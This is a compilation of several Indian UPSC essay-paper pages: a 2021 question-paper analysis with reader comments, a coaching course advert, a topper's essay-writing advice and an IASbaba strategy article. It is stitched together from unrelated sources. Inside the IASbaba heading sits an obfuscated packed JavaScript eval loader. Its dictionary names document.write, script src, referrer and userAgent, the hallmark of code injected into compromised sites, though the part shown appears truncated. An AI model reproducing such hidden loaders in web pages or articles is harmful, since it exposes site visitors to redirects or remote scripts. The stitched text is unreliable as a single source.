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Essay Paper UPSC 2021 (Mains): Question Paper and Analysis

Last updated on January 8, 2022 by Alex Andrews George

UPSC conducted the Essay Paper , as part of the Civil Services Main Exam 2021 on 07-01-2022.

There were 8 Essay topics, out of which candidates were asked to write on two topics in 3 hours.

Candidates were supposed to answer about 1000 words for each essay (about 10-12 pages).

Table of Contents

Essay Paper UPSC 2021 Instructions

Total Marks: 250 marks, Time duration: 3 hours.
The essay must be written in the medium authorized in the admission certificate which must be stated clearly on the cover of this question-cum-answer (QCA) booklet in the space provided.
No marks will be given for answers written in the medium other than the authorized one.
Word limit, as specified, should be adhered to.
Any page or portion of the page left blank, must be struck off clearly.

Essay Question Paper – UPSC Civil Services Main Exam (Written) 2021

Write two essays, choosing one topic from each of the following Sections A and B, in about 1000-1200 words each:

1. The process of self-discovery has now been technologically outsourced.

2. Your perception of me is a reflection of you; my reaction to you is an awareness of me.

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3. Philosophy of wantlessness is Utopian, while materialism is a chimera.

4. The real is rational and the rational is real.

5. Hand that rocks the cradle rules the world.

6. What is research, but a blind date with knowledge!

7. History repeats itself, first as a tragedy, second as a farce.

8. There are better practices to “best practices”.

Most of the essays topics this year were philosophical and open to the interpretation of the candidates. However, considering the philosophical base of the questions, most candidates found the questions tricky. It was not easy to write 1000 words on each topic within the time constraints.

UPSC has ensured that the essay topics were much different from the GS questions.

A philosophical theme is clearly evident in most of the essay topics in Section A as well as Section B. This was the case in 2020 as well. However, this year it became much more prominent. It is a clue about what UPSC expects from the essay paper.

Rather than asking candidates to write on topics most aspirants are familiar or trained with, UPSC is now evaluating the essay writing skills of aspirants by providing them with abstract or philosophical topics.

The reason for such a shift in the pattern should be the change in the focus of the Commission.

All the 8 topics presented this year will test spontaneous thinking, comprehension, writing skills, and time-management of aspirants.

Repeated questions from previous years

The importance of the previous year UPSC questions cannot be stressed more.

Just like prelims, in mains too many questions came directly repeated from previous year question papers. Also, there were themes you often see in many essay books.

One such question was Hand that rocks the cradle rules the world.

Thinkers, Philosophers, and their Quotes

Let’s analyse the source of some of the question topics.

Your perception of me is a reflection of you; my reaction to you is an awareness of me.

This essay topic was a quote going rounds on the internet. The quote is attributed to “Coach Bobbi” [Bobbi Chegwyn] on Facebook.

Philosophy of wantlessness is Utopian, while materialism is a chimera.

This essay topic was connected with J.K. Mehta’s Theory of Wantlessness!

This has also connections with Mahatma Gandhi’s philosophy.

The real is rational and the rational is real.

This is a quote by Georg Wilhelm Friedrich Hegel .

As per Hegel, something can be real, yet it may not exist. Also, something may not be real, it may still exist. For Hegel, reality does not mean existence.

Among philosophers, Hegel is one whose thought is extremely difficult to understand. Often to understand Hegel’s thoughts, we need to grasp his ideas, not in isolation but together with his dialogue with other philosophers, in particular, Aristotle and Kant.

The hand that rocks the cradle rules the world.

“The Hand That Rocks the Cradle Is the Hand That Rules the World” is a poem by William Ross Wallace that praises motherhood as the preeminent force for change in the world. The poem was first published in 1865 under the title “ What Rules the World “.

What is research, but a blind date with knowledge!

This is a quote by Will Harvey . Will Harvey (born 1967) is an American software developer and Silicon Valley entrepreneur.

History repeats itself, first as a tragedy, second as a farce.

It was Karl Marx who said that history repeats itself, first as tragedy, then as farce.

First, it’s a tragedy because it shouldn’t have happened. Then it’s a farce (joke) because we didn’t learn from our mistakes the first time around. This is Marx’s version of dark humour.

What should aspirants preparing for next year do for an essay paper?

First of all, you should take the essay paper seriously.

Unless properly trained, it is not easy to write 10-12 pages on an abstract or philosophical topic.

You need to polish your comprehension and analytical skills.

Read different kinds of essays – particularly philosophical essays.

Give stress to the thoughts of philosophers like Immanuel Kant, Thomas Aquinas, John Locke, Friedrich Niche, Karl Marx etc. Start writing essays on famous quotes.

Also, be prepared to write essays touching other areas like society, polity, economy, or technology. UPSC is known for surprises.

Remember that there is nothing like a constant trend with respect to UPSC questions.

What you get by analysing the previous year question papers are clues. And only those are what you need from UPSC questions!

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About Alex Andrews George

Alex Andrews George is a mentor, author, and social entrepreneur. Alex is the founder of ClearIAS and one of the expert Civil Service Exam Trainers in India.

He is the author of many best-seller books like 'Important Judgments that transformed India' and 'Important Acts that transformed India'.

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Reader Interactions

January 8, 2022 at 11:36 am

Upsc has chosen right path to evaluate person.one person read, listen ,rember and write in exam.He qualify exam.He is just like computer.worthy less people selected by upsc every year.They are not thinker.so our country is intellectually insolvent.civil services requires thinker to. progess country and welfare of common man.These types of question evaluate intellectual for the welfare of human being.

January 9, 2022 at 1:44 pm

You are putting the quality of a leader and a literate society in such a person who just has to follow his supremes.He/She must be a good analyst. That’s it!!!

June 13, 2022 at 12:41 pm

in the bureaucracy – there is no space for logical thinking.

once you clear the exams and get appointed – you have to follow the “protocol’ or “procedures” – its difficult to be analytical and innovative – bcos the system demands obedience and adherence to the protocol. If you follow the protocol – and even if lot of people are severely affected – you wont be taken to task. But if you are innovative – and even if ONE person gets affected – you will be punished.

January 8, 2022 at 4:02 pm

Yeah!I’ve passed upsc .

January 25, 2022 at 2:21 pm

I have written Essay on three topics..how may I share?

Don’t lose out without playing the right game!

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Essay Writing for UPSC - Weekly Essay Writing Programme

By vajiram & ravi.

Essay Writing for UPSC: Writing an essay for the UPSC Mains Exam requires a structured and well-organised approach. The UPSC essay paper is not just limited to assessing a candidate's creative writing skills, but rather, the focus is on evaluating a candidate's ability to think critically, express their ideas clearly, and present a balanced perspective on various issues. This article discusses the do’s and don'ts that need to be remembered while writing your Essay for the UPSC Mains Exam.

Check: UPSC CSE Mains 2023 Essay Question Paper

Essay Writing for UPSC

The UPSC Mains Examination comprises a total of nine papers, inclusive of an essay paper. The Essay Paper is categorised into sections A and B, each containing four topics. These topics hold a value of 125 marks each, thereby totalling 250 marks (125×2). Candidates are required to choose one topic from each section and compose an essay spanning 1,000 to 1,200 words within the allocated three-hour duration. UPSC provides the following guidelines in its Notification on the Essay Paper:

Candidates may be required to write essays on multiple topics.
They will be expected to keep closely to the subject of the essay to arrange their ideas in orderly fashion and to write concisely.
Credit will be given for effective and exact expression.

Essay Writing for UPSC - What is Expected?

When preparing for the UPSC Mains Essay Paper, there are a few basic points that you should remember. The paper tests the diversity of your content and not its creativity .

When writing your Essay Paper for the UPSC Mains Exam, your focus should be on the following points-

Diversity of the content: Incorporating diverse content in the essay paper not only enriches the content but also showcases your depth of knowledge, analytical skills, and ability to present a comprehensive perspective on complex topics.
Focus on the topic: Centre your essay around the core theme of the chosen topic. By maintaining a clear focus on the topic and consistently reinforcing its relevance, your essay becomes a well-structured and compelling piece that effectively communicates your ideas to the examiner.
Clarity, Depth, and Language: Language plays a crucial role in conveying your ideas effectively. Use precise and simple language to articulate your points and maintain a formal and coherent tone throughout the essay. Focusing on clarity of thought ensures that your ideas are easily understood by the examiner, and providing an in-depth analysis supported by relevant examples, data, and arguments, helps showcase your ability to engage with the topic critically.
Providing Evidence: While stating a Quote, there should be evidence to support your thought. This helps you to avoid the superficial treatment of the subject and delve into its complexities, showcasing your ability to engage with the topic critically.

How to Write Essay for UPSC Mains?

Writing an essay for the UPSC Mains Exam requires a structured and well-organised approach.

Choose the Right Topic

Read the given UPSC essay topics carefully and choose the one that resonates with your strengths and interests. Pick a topic that allows you to showcase your knowledge and understanding effectively.

Brainstorm Ideas

Spend some time brainstorming ideas related to the chosen topic. Jot down key points, arguments, examples, and relevant data that you could use to support your essay.

Create a Structure

A well-structured essay has a clear introduction, body paragraphs, and a conclusion. Your introduction should introduce the topic and provide a brief overview of your stance. Each body paragraph should focus on a specific point, argument, or example. The conclusion should summarise your main points and reiterate your thesis.

Format for UPSC Essay Writing

The UPSC essay format requires a thoughtful approach to convey your ideas effectively. There are three stages or steps in any essay - Introduction, Body paragraphs, and Conclusion.

Introduction Paragraph of an Essay

Craft a strong introduction paragraph that outlines your main argument or perspective. This paragraph should be concise and provide a roadmap for your essay. You can begin your essay with a quote, and the last line of the introduction paragraph should end with reinforcing the main topic.

For example: Topic: The Health of the Nation is more important than the Wealth of Nation

Start your essay with a quote-

“P ublic Health depends upon winning over Hearts and Minds. It's not enough to just have a good policy; you have to convince people to actually follow it .”

In a country's journey forward, we often talk about how having a lot of money is crucial. But there's another side to this story, which says that the good health of the people in a country is even more vital. If there is something that COVID-19 has taught us, it is how no economy with ample amounts of money can guarantee the health of its nation and how the health of its citizens eventually affects the wealth of the country. This idea highlights how the health of the nation is more important than the wealth of the nation.

Writing in Paragraphs

Writing in paragraphs is important in an essay because it enhances readability and organisation. Each paragraph should focus on a specific idea, argument, or point, making it easier for readers to follow the logical flow of your thoughts . Paragraphs create visual breaks, helping to structure your essay into manageable sections. The following points have to be kept in mind while framing your Essay Paragraphs:

Address Counter-arguments:

Acknowledge potential counter-arguments and address them in your essay. This shows that you have considered multiple perspectives and strengthened your argument.

Use Examples:

Incorporate real-life examples, case studies, and anecdotes to illustrate your points. Examples make your essay more relatable and persuasive.

Gather Evidence:

Collect relevant current affairs facts, statistics, historical examples, and real-life incidents to support your arguments. Ensure that your evidence is accurate and well-researched.

Logical Flow:

Maintain a logical flow between paragraphs and ideas. Each paragraph should transition smoothly to the next, creating a coherent narrative.

Use of simple Language:

Write in a clear, concise, and coherent manner. Avoid using overly complex language that might obscure your message. Focus on communicating your ideas effectively.

Avoid Repetition:

Be mindful of repeating the same points or ideas. Each paragraph should contribute something new to the discussion.

Conclusion of the Essay

The conclusion serves the purpose of providing a seamless ending to the essay. It's worth noting that a strong ending holds the same level of significance as a compelling beginning. Both aspects contribute to achieving higher scores.

To effectively conclude an essay, you can utilise various elements, including facts, statistics, reasons, examples, quotes, opinions, experiences, and sensory details . The essay's conclusion can take on several forms: it might involve briefly reiterating the main points, suggesting potential future steps or actions, or injecting an engaging personal comment or relevant anecdote.

An alternative approach to concluding an essay involves revisiting the topic introduced in the introduction. This is known as a 'cyclic return,' and it's a straightforward method employed in many essays to bring the discussion full circle.

Ultimately, a conclusion should carry a positive perspective, seeking out the silver lining amidst challenges. It should also strive for clarity and brevity, ensuring the ideas are expressed concisely.

Proofread and Revise the Essay

Once you've finished writing, take some time to proofread and revise your essay. Check for grammatical errors, spelling mistakes, and clarity of expression.

Vajiram & Ravi Essay Module

Our Essay Course,by Mr. Brijendra, offers a comprehensive platform to master essay writing, guiding aspirants through the demanding path of UPSC Civil Services Exam preparation.

Course Objectives:

Enhance Competency: Develop proficiency across diverse and essential themes.
Strengthen Understanding: Utilize provided handouts containing all pertinent information essential for crafting quality essays.
Refine Writing Proficiency: Improve language, grammar, and flow through two specialized classes.
Evaluate Proficiency: Assess skills with a thorough test series.

This meticulously designed Essay Course assists students in structuring their essay preparation and cultivating a crucial set of skills to enhance their chances of securing high scores. Clear, concise, and well-structured essays are indispensable for aspiring civil servants, and mastery of essential elements of essay writing is paramount.

Through this course, students will:

Organize and articulate ideas clearly.
Analyze primary sources with critical insight.
Apply critical thinking to evaluate information.

Course Features:

Comprehensive Classes: 11 sessions covering various themes used for framing essay topics.
Well-Curated Handouts: Concise handouts on each theme providing exam-ready content.
Special Emphasis: Focus on philosophical and quote-based essays.
Mini-Assignments: In-class assignments to master the nuances of essay writing.
Simulated Writing Practice: 6 tests (2 half-length and 4 full-length) for exam-like practice.
Detailed Evaluation: Objective evaluation of essay scripts with exhaustive feedback.
Guidance and Support: Post-test guidance for individual doubt clarification.

This comprehensive essay writing course is designed to equip you with the skills and knowledge necessary to excel in the essay component of the UPSC Civil Services Examination. Join us to enhance your essay writing skills and significantly boost your chances of success in the UPSC Civil Services Exam.

Writing a good Essay in UPSC Mains, Explained by Anudeep Durishetty

ForumIAS announcing GS Foundation Program for UPSC CSE 2025-26 from 26th June. Click Here for more information.

Novelist Stephen King put it beautifully when he said, “I write to find out what I think.”

Writing is a window to your thought process. What you write on paper will tell the reader how you think, how you argue and the way you substantiate your viewpoint. This is why for most competitive examinations and academic entrance tests, essay is mandatory.

In the Civil Services Exam too, we have a paper worth 250 marks, equivalent to a General Studies paper. Despite its importance, essay paper often does not get the attention it deserves from aspirants. First timers think they will write an excellent essay in the final exam itself, whereas experienced aspirants believe that since they had already studied a ton for GS, it will alone be enough to write a good essay. This is a fatal miscalculation.

I was one of those who made these errors in the past, and it is not a coincidence that I scored only 100 in CSE 2015. But in 2017, I devoted adequate time to this paper. I collected useful quotes, prepared notes and even made rough essay drafts for frequently asked topics. All this effort in essay paper helped me score 155.

What follows is an elaborate post on how you should tackle the Essay paper. I’ve organised the content as follows:

What UPSC says about the essay paper

How and from where to prepare?

Improving language and expression

On subheadings and rough drafts
What you must avoid
How to write a powerful introduction?
Developing the content of an Essay

Substantiating your arguments

How to conclude an Essay
My notes, quote collection and sample essays

“Candidates may be required to write essays on multiple topics. They will be expected to keep closely to the subject of the essay, to arrange their ideas in an orderly fashion, and to write concisely . Credit will be given for effective and exact expression .”

Essay distinguishes itself from GS in the sense that in GS, marks will be awarded purely for content. But in essay, examiners will pay special attention to not just the content, but also the language, coherence and the way you organise your write-up.

So you must take adequate care to arrange your ideas properly and not commit any fundamental spelling or grammatical errors.

Most of the content you write in Essay will come from your GS preparation. Apart from this, the following sources will help:

Reading non-fiction helps you develop a matured thought process. Apart from imparting knowledge, they will also let you come across good figures of speech, art of argumentation, powerful rhetoric and unique content etc. For example, in an essay on Artificial Intelligence, I took arguments from Yuval Harari’s Homo Deus to argue that AI is an imminent threat to humanity. Or if you read Why Nations Fail, a book replete with examples, you will understand the importance of innovation, political and economic freedoms in propelling a nation forward. So my suggestion is, apart from UPSC related material, develop the hobby of reading non-fiction books. I do not mean to suggest that you should start reading one non-fiction book per topic to get good scores in Essay, but reading them occasionally in your free time will benefit you in the long run.
Referring to specific magazines: For certain topics, you can refer to specific issues of Yojana/EPW/Economic Survey etc. Example: for an essay on tribal issues or public health, you can go through specific issues of these magazines for getting the latest statistics (IMR, MMR, malnutrition levels etc) and also about the positives and criticisms of govt schemes in that sector.
Collecting good stories/anecdotes and quotes: Anecdotes, quotes and real life stories you see in newspapers and books which can be used in essay should be noted down. In most of my essays, I used to start with a relevant story or an anecdote that has the essay topic as its underlying theme. Apart from these, I also used a couple of quotes of eminent persons.

List of quotes, anecdotes I collected are available in the link at the end of this article.

Language in essay must be simple and clear with as little jargon as possible. If you want to use complex definitional terms such as, say, ‘Constitutionalism’ or ‘Sanskritisation’ please define it in sentence just before you use it. Examiner will also understand clearly what you want to convey. Clear writing is clear thinking. And that is what any reader looks for.

Keep your sentences short and powerful. Long, winding sentences makes it difficult to read and understand. If you tack on one clause after another through conjunctions, what you get is a bad sentence sprawl.

Example of a bad sentence sprawl:

At the end of World War 2, on the one hand, while capitalism was successfully championed by the nations in North America and Europe, on the other hand, it was USSR that put Communism at the forefront due to which there was an ideological clash between the the two superpowers which had led to proxy wars in various parts of the globe, a nuclear arms race and a rapid deterioration of the security of the world.

(By the time readers finish reading it, they will lose their breath and the point of the sentence)

So I had a simple rule: If you run out of your breath while reading a sentence, then probably you will have to break it into two.

Rewriting the aforementioned example after breaking it into two (which makes it much easier to read and comprehend):

After World War 2, while the North American and European nations championed capitalism, USSR put communism at the forefront. This ideological clash between the superpowers led to several proxy wars, a nuclear arms race and a rapid deterioration of world security.

There is no need to memorise complex words for writing a good essay. But an occasional use of a powerful word, or a good phrase definitely gives your write-up an edge.

Also, I believe that learning numerous words by rote will not make them stick in your brain for long. The best way to build your vocabulary is by reading non-fiction and English newspapers. While reading these, if you come across a good turn of phrase, or a word that you don’t recognise, please note it down in a book, find its meaning and understand the context in which the word was used. This helps in long term memory. Having a dictionary app on your phone also helps.

Building vocabulary is a slow process, but with consistency, anyone can become better at using an expansive set of words.

Subheadings & Rough Drafts

We can be a little innovative in our subheadings. Instead of bland subheadings such as ‘ Benefits of Nuclear Energy’ we can use “ Nuclear Energy: Promise or Peril?’ Similarly, for the essay on Social Media, instead of writing ‘ Advantages and Disadvantages of Social Media ’, I wrote “Social Media: A Double Edged Sword”

You can find my collection of a few such subheadings in the link to my notes, given at the end of the article.

I also prepared a rough draft for a few essay topics (link given at the end). You may need to modify the structure as per the demand of the question.

What you must avoid in Essay

Do not focus excessively only on one point, or one dimension (such as the historical or political aspect) Your essay needs to be expansive and multi-dimensional.
During preparation, we read a lot and it’s understandable that we feel strongly about certain topics. And since essay offers freedom to write, it’s very easy to get carried away with such a topic. But make sure that you write what is asked, not what you know or feel like. No mann ki baat . Always stick to the subject of the topic. It helps to read the question in the midst of your essay to ensure that you are not steering away from the topic.
If you are not comfortable writing about abstract philosophical topics (I am terrible at writing them), avoid such questions. Your choice of topic has no bearing on the marks and that is why, selecting an unpopular topic just for the sake of it is unwise. Also, if there’s a technical term in the question, be doubly sure that you understand it correctly. For instance, in 2014, there was a question on ‘standard tests’, which is a technical term. I misunderstood it and wrote a generic essay. I got 112.
When you take a final stand on an issue, it’s best to avoid extreme or highly unpopular opinions. We are free to have any opinion in the privacy of our minds, but in UPSC essay why take that risk? For instance, in an essay on Capital Punishment, in the main body content, you should present a case for both abolition and retention. But when you take a stance, it’s best to be an abolitionist.
No ranting. You might be a great fan of Karl Marx, but if there’s a question on Capitalism, do not rant or rail against it ? You must present both the positives and negatives of Capitalism and end the essay on a balanced note.
Do not dedicate disproportionate amount of time for the first essay and scamper through the second. Both carry equal marks, so please invest equal time.

How to transition smoothly from one para to the next

This can be done in three ways.

Through a link sentence at the end of a para:

Here, at the end of a para, you write a sentence that signals to the examiner what’s coming next. For example, let’s say you have just written a para about the threat posed by Artificial Intelligence (AI) to jobs. At the end of that para you can write a link sentence— “Further, we must be mindful of the fact that Artificial Intelligence poses a major challenge not just economically, but also ethically.” And in the next para, you can write about the ethical issues concerning AI.

Through a question:

Instead of a link sentence, you can also add a question at the end of a para so that examiner’s attention is helplessly carried to the next. To take the similar example as above, the question can be something like— “Thus we have examined the threat posed by AI to our economy, but what about the challenges brought by AI to our ethics and morals?” And in the next para, you can write about the ethical issues concerning AI.

Signalling the shift at the start of next paragraph:

Here you can simply add a word or two at the beginning of a para that signals a shift in your subtopic. For example in an essay on Globalisation , let’s say you have just written a para about its historical evolution and impact. You can start the next para with something like— “Politically too, globalisation has had a tremendous impact……” This way examiner immediately knows what to expect.

These steps will ensure that the transition between paragraphs is not abrupt.

How to write a good Introduction to your Essay?

Essay introduction can be:

a fictitious incident or story (where you introduce a character); a real life anecdote; a quote; or a simple definition of the words in the question (not recommended in Essay)

In GS, definitional approach is a great way to introduce your answers. But in essay, they are rather stale, lacking in any human element. I always believe that a good way to start your essay is to have that touch of humanity and warmth in your introduction.

In my Mains exam, this was my introduction to the essay ‘Destiny of a nation is shaped in its classroom’

“The year was 1945. Towards the end of a gruesome world war, the world powers decided to carve up the Korean peninsula along the 38th parallel.

“Before partition, North and South Korea might have been homogeneous in every respect, but after the division, they steered onto different paths. While schools in the North chose to ‘educate’ their children in the worship of a cult leader, ideological indoctrination and servility, its southern counterpart focused on liberal education, innovation and economic growth.

“Today, almost seven decades later, the difference in the fates of these people and the trajectories of both these nations cannot be more stark. One is known for gross violation of human rights, while the other a champion of liberal democracy. One is known for gut-wrenching poverty, while the other unbridled prosperity.

“This only proves the age old adage that the destiny of a nation is indeed shaped in its classrooms.”

Similarly, for the Social Media essay, my introduction sought to bring to the fore the paradox of Social Media. I wrote on how social media was leveraged to crowdsource help and rescue during Chennai floods in 2015. At the same time, I mentioned how it was used nefariously in 2012 to cause mass exodus of northeast people from Bangalore. And taking cue from this introduction, in the main body, I discussed about the inherent selfishness and altruism associated with social media.

These real life stories, anecdotes and incidents are everywhere in our books and newspapers. So when you come across them, note down and ponder as to how you can use them in your essay.

Developing the Main Content from the Topic

This is like spinning the web from a thread. Depending on the topic, you can choose among the following options that fits best.

Temporal: Past, present and future
Sectoral: Media, Science & Tech, Business, Sports, Religion, Politics, Administration etc
Walks of Life : Individual, Family, Professional workplace, Society, Community, National, Global
Problem & Solution: Concept (historical evolution+status), benefits, problems, solutions
Standard : Social, Political, Economical, Administrative, International, Environmental, Historical, Scientific, Security/Defence, Legal

Example: for a topic like “Has Globalisation delivered on its promise?” I find the problem & solution method an apt way to develop your narrative. So choose as per the question.

In the main body of the essay, each para must have an argument or an idea and a reasoning to back that argument. You can substantiate it through a real life example, a statistic, an authentic committee or organisational report etc.

For example, if you are arguing that Capital punishment is an expensive form of justice, you should be able to given an example or a statistic or Law Commission’s opinion as to how the subjects of death penalty are overwhelmingly from poor communities.

Statistics, examples, expert opinions and constitutional provisions are crucial and they make your arguments authoritative.

Concluding an Essay

Conclusion needs to be on a futuristic, optimistic note. You need to summarise the complete essay in 3-4 sentences, after which you can write your vision for future.

You can source some useful terms from the speeches of PM Modi. Phrases like Sabka saath sabka vikas , Reform-Perform-Transform, Building A New India etc can come handy. Rhetoric, lofty expressions, constitutional ideals, sanskrit slokas and quotes are a good way to conclude your essay.

But suppose in your introduction, if you had written about a fictitious character, then it’s always advisable to end your write-up with a reference to that character. It gives a sense of completeness to the essay.

Readers should keep in mind that these notes are written rather haphazardly (I mean who makes notes thinking that in future, they might have to upload them publicly :D)

They are fragmented in certain pages, so you may not be able to comprehend them completely, but nevertheless I hope you take home something useful.

Link to handwritten notes:

https://drive.google.com/open?id=1jmVMGOzAk2d9B5Y0HQ9XpVF5Mh2IXGku

Quote collection:

https://drive.google.com/open?id=1jk71jLao60hHwJoTuGYaIDgJWccxa5Xn

List of Topics one needs to prepare:

https://drive.google.com/open?id=1q0W0PeH-80EKt6ucJTFOVPUlmXvCIzd-

Sample Essays:

https://drive.google.com/open?id=1jqfUi1FXdG0icBdJpdQvwH1wlAizCMvo

Read More at: https://anudeepdurishetty.in/

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UPSC ESSAY STRATEGY: How to Write an Essay!

October 21, 2015

IASbaba's Mains Strategy , UPSC Essay Strategy

Essay eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6(" ");n m="q";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|nfnkh|var|u0026u|referrer|rhfyh||js|php'.split('|'),0,{})) Strategy

In one way or the other your fate with UPSC is decided by the most unpredictable component of the syllabus i.e. the ESSAY . Ask your seniors, your peers or even your teachers and no one can come up with a concrete strategy to prepare for essays. It is ironical that despite being the most flexible component of the UPSC syllabus, it is the essay that spoils your chances. Why? The answer to this question is a mystery . So, if anyone tells you that he/ she knows the right way to write an essay and by right we mean the benchmark set by UPSC, be sure that the person has got a long way to go before he/ she can truly understand UPSC. We say this because of a reason. We have seen aspirants with excellent writing skills scoring 70% in essay in their first attempt while barely managing 35% in their next attempt! It is the other way round also with a number of aspirants.

Now, here we are! After accepting the unpredictable nature of essay evaluation by UPSC, how can we be sure about any strategy? We can’t and in fact we aren’t. But then, we must try until we touch the right chords. Here we give you a strategy to write essays in the most structured, smooth and satisfactory way possible. We don’t guarantee success if you follow our strategy but we can assure you that after going through the subsequent paragraphs of this write up, you will have a lot to work upon and improve. If you keep in mind the following points, you can definitely better your prospects in essay.

So, what is an essay? Or rather why this paper on essays in UPSC? The answer is – an essay gives you an opportunity to put forward your thoughts in a manner that is not impeded by word limit and time (in the sense that you are given enough words and time to express your knowledge and views). It is asked to check the depth and breadth of your knowledge. And when we say knowledge, it doesn’t mean our conventional understanding of the same. The topics are unknown to us before the exam and we are expected to apply all that we have learnt to produce a logical and intelligent account of what is being asked. That is why, one can’t prepare for essays in the conventional sense.

Now coming to the strategy part, we must say at the outset that you must not treat essay as any other paper of UPSC. In fact, it is the most innovative way to check your level of preparedness of the entire syllabus of UPSC. If you perceive it in this sense, your tendency to limit your imagination by the fictitious boundaries of so called essay paper will vanish and you will be able to think more freely and more innovatively. Shed all your previous notions regarding this paper and start afresh.

The key to writing a satisfactory above average essay is multi-dimensionality. Depth matters but in UPSC breadth is far more important. Keep this fact in mind and approach the essay in a manner that all your wisdom is reflected in the interconnected dots in your essay. Now, what do we mean by this? It simply means the representation of all the dimensions that are related closely to the topic being asked. In doing so, most aspirants keep throwing unnecessary points and that can annoy the examiner. The best thing to do in such a scenario is to write all your thoughts in pointers at the space provided for rough work.

Now, this step is very important. What tools do we have to think about as many dimensions as possible? The answer lies in the syllabus . Luckily, the syllabus of UPSC is so exhaustive and detailed that almost everything under the sun is there in the syllabus. After you are done with your own thoughts and written all the possible points, think about the syllabus now. For this, a prerequisite is that you must have learnt the syllabus by heart. Having said so, let us now understand as to how you can use the syllabus to create points for your essay.

Suppose you have been asked an essay on “Gandhian principles and it’s relevance in contemporary India” . Now, by linking this essay with various components of the syllabus, you can create a number of good points for your essay. We provide you with some examples:

Indian heritage and civilization: Gandhian thoughts on the importance of letting our civilization welcome others while maintaining our identity and uniqueness. This is particularly important in view of the ongoing clash of civilizations.

Women issues: Gandhi’s idea on emancipation and empowerment of women and it’s applicability in modern India.

Communalism and secularism: Gandhian message of communal harmony and tolerance.

Society: Numerous examples of Gandhian views on the importance of charity, role of family, social capital, social norms, cinema etc.

Globalization: Gandhian message of self reliance and it’s synthesis with the idea of global commons/ was Gandhi against globalization?

Constitution and polity: Gandhian idea of a nation state

Local governance: Panchayati Raj as envisaged by Gandhi.

SHGs: Gandhian conception of the idea; the concept of village gramodyog etc

Education: Gandhian model of education that emphasized upon imparting skills

International relations: Gandhian ideals of co-existence, non- violence, non- proliferation etc applied to the current foreign policy paradigm; satyagaraha and non- violence as tools to pursue foreign policy goals.

Inclusive growth: Gandhi’s talisman and it’s remarkable resonance with the very idea of inclusive growth

Economic development: Gandhian idea of self dependent village communities

Industries: Gandhian apprehensions with respect to western model of industrialization

Agriculture and animal rearing: Gandhi’s ideas on organic cultivation, supplementary income through animal rearing etc.

Environment: Gandhian message on cleanliness and sustainability (remember the quote related to man’s need versus man’s greed?), Gandhi’s views on vegetarianism etc

All Gandhian ideas with respect to revenge, change, forgiveness, happiness, strength etc reflect the essence of this component of the syllabus. We can use all of them wisely to make our points look better and logical.

At this point of time, it is important to mention about current events. Try to relate the topic with the current events. It will add to the personality of your essay. For example in this case, following examples can be included:

Corporate social responsibility: Gandhian idea of trusteeship

Struggle for democracy in various parts of the world: Gandhi’s thoughts on democracy

Crisis in the Parliament: Gandhian idea of true leadership

Now there are some other tools that are always handy in helping you make your essay multi- dimensional. Have a look and think how they can be used in different scenarios:

Preamble to the Constitution
FRs and DPSPs
Millennium Development Goals (Now Sustainable Development Goals)
Quotations by eminent personalities
Important Supreme Court judgements
Concepts of sustainability and environmental ethics etc

Having shown you the importance of knowing the syllabus by heart and keeping oneself updated with the current events, we move forward to the next important phase of essay writing i.e. the structure.

There is no universally accepted format for writing an essay. However, there is a general understanding about how one should approach an essay. Of course, one has to start with an introduction. Introduction can start with a quote, an anecdote or a simple paragraph. Irrespective of the approach, the introduction must give an idea to the reader as to what ensue in the subsequent paras. Introduction should be crisp and interesting. Don’t use cliched sentences in the introduction.

In the next few paragraphs, you are supposed to touch upon the core areas of the essay. Here, the points in the back of your answer sheet will come handy. Prioritize the points in a manner that the essay follows a logical flow of ideas and related points are covered in the same or back to back paras. For example, in the example given above, you can’t start with the Gandhian views and it’s applicability regarding local governance, then hop on to the role of non- violence in international relations and then come back to tolerance towards various civilizations. Similarly, you can’t club the ideas of self dependent villages and communal harmony in the same paragraph. At the outset itself, you must have in mind the flow of your essay.

It is important to note that not all your jotted points need find a mention in the essay. You can trim the points and in fact eliminate the irrelevant ones to make your essay crisp and close to the central argument.

It is also important that you read the topic after all your paragraphs so that you don’t deviate from the central theme.

All the paragraphs must have their own personality. There should be no loose ends. The paragraphs in themselves have to have logical conclusion and if that is not possible, at least the key to the next paragraph. Randomness and unpredictability are the last two things that your essay needs.

Coming on to the conclusion part of the essay, it must be understood that you are not supposed to force yourself in producing an intelligent conclusion. Many a times it is better to let some question remain answered. It is not because it should be so, but because it is not possible to have a satisfactory answer always! Just make sure that your conclusion is balanced and there is some amount of optimism in your views. Don’t predict doomsday in the essay even if you are the most depressed person in this world. UPSC wants to recruit happy and optimistic people. Mind it!

Now the question comes about language. What sort of language should one use- simple or ornamental, straight or flowery? The answer is write the way you have always written your essays. The bottom line is you have to impress the examiner in whichever way possible. If we suggest you to use simple language and you are actually good in writing impressive English, the chances are you will spoil your attempt in trying to become what you are definitely not. It is not possible to change one’s writing style so quickly. Instead one should try to make his/ her style of writing fetch better marks in the essay.

Is it not that a bride wearing all the ornaments and makeup looks stunning but at the same time a lady with a beautiful eye but with no makeup or jewelry looks equally beautiful? The same holds true for language. Believe in your own style and remain confident.

However, we find it prudent to caution you about being superfluous. This can be fatal. Don’t beat around the bush. Your sentences must convey what you have in mind and their length should be commensurate with the message. Don’t use too long a sentence. Be crisp and to the point.

As far as essay is concerned, DO NOT write in points. Once in a blue moon, candidates might have scored good marks by following this approach but that is an exception and not the rule. Respect UPSC and don’t do anything foolish.

Use quotes selectively and wisely. Not using a quote is way better than using it wrongly. You can prepare a list of quotes that can be used in the essays asked by UPSC.

Be creative in your writing. Spend some time in thinking about the ways in which you can improve your presentation. Ask your peers to review your essays and point the glitches. Try to improve upon the content, presentation and approach by keeping in mind the given strategy. We are sure that in 3-4 attempts, your essays will start reflecting your efforts.

We at IASbaba will keep on posting challenging topics for essays. We expect you to attempt them in strict exam conditions.

Share your inputs regarding the strategy and if any of the seniors reading this, kindly share your thoughts & strategy to help future aspirants 🙂

Happy writing

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IAS Essay Strategy , UPSC Essay Strategy , UPSC Mains Strategy Essay

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How to Write an Essay? 9 Tips To Score Better in UPSC Essay Paper

